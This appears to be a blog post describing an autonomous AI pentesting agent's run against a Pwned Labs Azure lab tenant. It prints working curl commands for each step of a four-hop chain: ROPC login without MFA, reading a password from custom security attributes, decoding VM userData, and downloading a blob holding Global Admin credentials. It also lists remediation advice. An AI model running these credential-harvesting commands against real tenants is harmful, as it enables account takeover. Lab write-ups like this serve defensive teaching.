· 7 min read
Azure privilege escalation rarely looks like an exploit. It looks like four places where somebody stored a password in a field that was never meant to hold one, and one identity with enough read access to visit all four. This campaign is that shape, end to end.
The target was the megabigtech.com Pwned Labs tenant, entered with the credentials of an IT helpdesk user. Darkmoon ran it autonomously and reconstructed the chain to Global Administrator credentials.
What the agent found
| Severity | Count |
|---|---|
| Critical | 8 (6 exploited) |
| High | 6 (4 exploited) |
| Medium | 5 (1 exploited) |
| Low | 0 |
| Total | 19 |
Eleven of the nineteen rows are marked exploited. As in the other Azure runs, some rows are the same issue captured twice by parallel sub-agents, for example the two rows for the credentials in VM userData and the two for the storage blob.
The chain
The report states it as four hops, and each hop is a separate finding with its own evidence.
Hop 1. Password authentication with no MFA challenge. ROPC against the tenant token endpoint minted a Bearer token for the helpdesk user, with no second factor:
curl -s -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
-d "grant_type=password" -d "username=<helpdesk user>" \
--data-urlencode "password=<redacted>" -d "scope=https://graph.microsoft.com/.default"
-> Bearer token, expires_in 4765, no MFA challenge presented
-> scopes: Application.ReadWrite.All AppRoleAssignment.ReadWrite.All
AuditLog.Read.All DelegatedPermissionGrant.ReadWrite.All
Directory.AccessAsUser.All Group.ReadWrite.All User.ReadWrite.AllThe agent also noted that this user sits in a security group named Yolo-MFA, which it flagged as a probable MFA exclusion group rather than asserting it, and in a role-assignable group called IT-HELPDESK.
Hop 2. A password stored in an Entra ID custom security attribute. Custom security attributes are a directory extension mechanism. They are readable by anyone with the attribute reader roles, which this helpdesk account had.
curl -s -H "Authorization: Bearer $TOKEN" -H "ConsistencyLevel: eventual" \
"https://graph.microsoft.com/beta/users/<user>?$select=userPrincipalName,customSecurityAttributes"
-> {"userPrincipalName":"archive@...","displayName":"Archive User",
"customSecurityAttributes":{"Helpdesk":{
"@odata.type":"#microsoft.graph.customSecurityAttributeValue",
"Password":"<redacted>"}}}Hop 3. A password in VM userData. With Reader access on the subscription, the agent expanded the userData property of a virtual machine and base64 decoded it:
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
"https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/\
Microsoft.Compute/virtualMachines/SECURITY-PC?api-version=2024-03-01&$expand=userData"
decoded userData:
# Credentials: User: security-user | Password: <redacted>
az storage blob download --account-name securityconfigs \
--container-name security-pc --name config-latest.xml --auth-mode loginThe userData did not just hold a credential. It held the next instruction, naming the storage account, the container and the file. The environment documented its own attack path.
Hop 4. Global Admin credentials in a storage blob. Using the storage scoped token for that second identity:
curl -s -H "Authorization: Bearer $STORAGE_TOKEN" -H "x-ms-version: 2020-10-02" \
"https://securityconfigs.blob.core.windows.net/security-pc/config-latest.xml"
<GlobalAdmin>
<Username>g-admin@megabigtech.com</Username>
<Password><redacted></Password>
<TwoFactorAuthentication>Enabled</TwoFactorAuthentication>
</GlobalAdmin>
<Database>
<ConnectionString>Server=megabigtech.database.windows.net;Database=SecurityDB;
User Id=dbuser;Password=<redacted>;</ConnectionString>
</Database>The same container held the lab flag file, which the agent retrieved as proof of full data access. A second flag was found in a user profile jobTitle field during directory enumeration, which is recorded separately as sensitive data in an unexpected place.
There is a detail worth pausing on in that XML: the Global Admin entry advertises TwoFactorAuthentication Enabled. The account is protected. The file describing it is not.
Where the report stops
Two of the eight critical findings are marked confirmed rather than exploited, and both are about the helpdesk user's delegated permissions being tenant takeover capable. The agent decoded the token, enumerated the granted scopes and the directory role template ids it carried, and stated the capability. It did not create an application, grant itself a role or reset anyone's password.
It also did not authenticate as the Global Administrator whose credentials it recovered. Reading the credential out of a blob is the finding. Logging in with it would have been an escalation the engagement did not need in order to prove the exposure.
Remediation
- Block ROPC, and audit any group that looks like an MFA exclusion. A tenant with an exclusion group has the MFA posture of that group, not of its policy.
- Never store secrets in custom security attributes. They are directory data, replicated and readable by roles that are handed out freely.
- Never store secrets in VM userData. It is readable by anyone with Reader on the resource and it is not a secret store.
- Move configuration files containing credentials out of blob storage into Key Vault, and rotate every credential in
config-latest.xml, including the SQL connection string. - Trim the helpdesk role.
Application.ReadWrite.AllandDelegatedPermissionGrant.ReadWrite.Allare not helpdesk permissions, they are tenant administration permissions. - Review role-assignable groups, and keep sensitive values out of user profile fields.
What this proves about autonomous pentesting
Every hop in this chain crosses a different Azure service: the identity platform, Microsoft Graph in beta, Azure Resource Manager, then blob storage. Each needs a token with a different audience, and the agent requested each one separately as the chain demanded. That is the practical argument for an autonomous run over a checklist: nobody writes a check for a password in userData that names the blob holding the next password, but an agent that reads what it retrieves finds it and keeps going.
Darkmoon is open source under GPL-3.0: repository, documentation.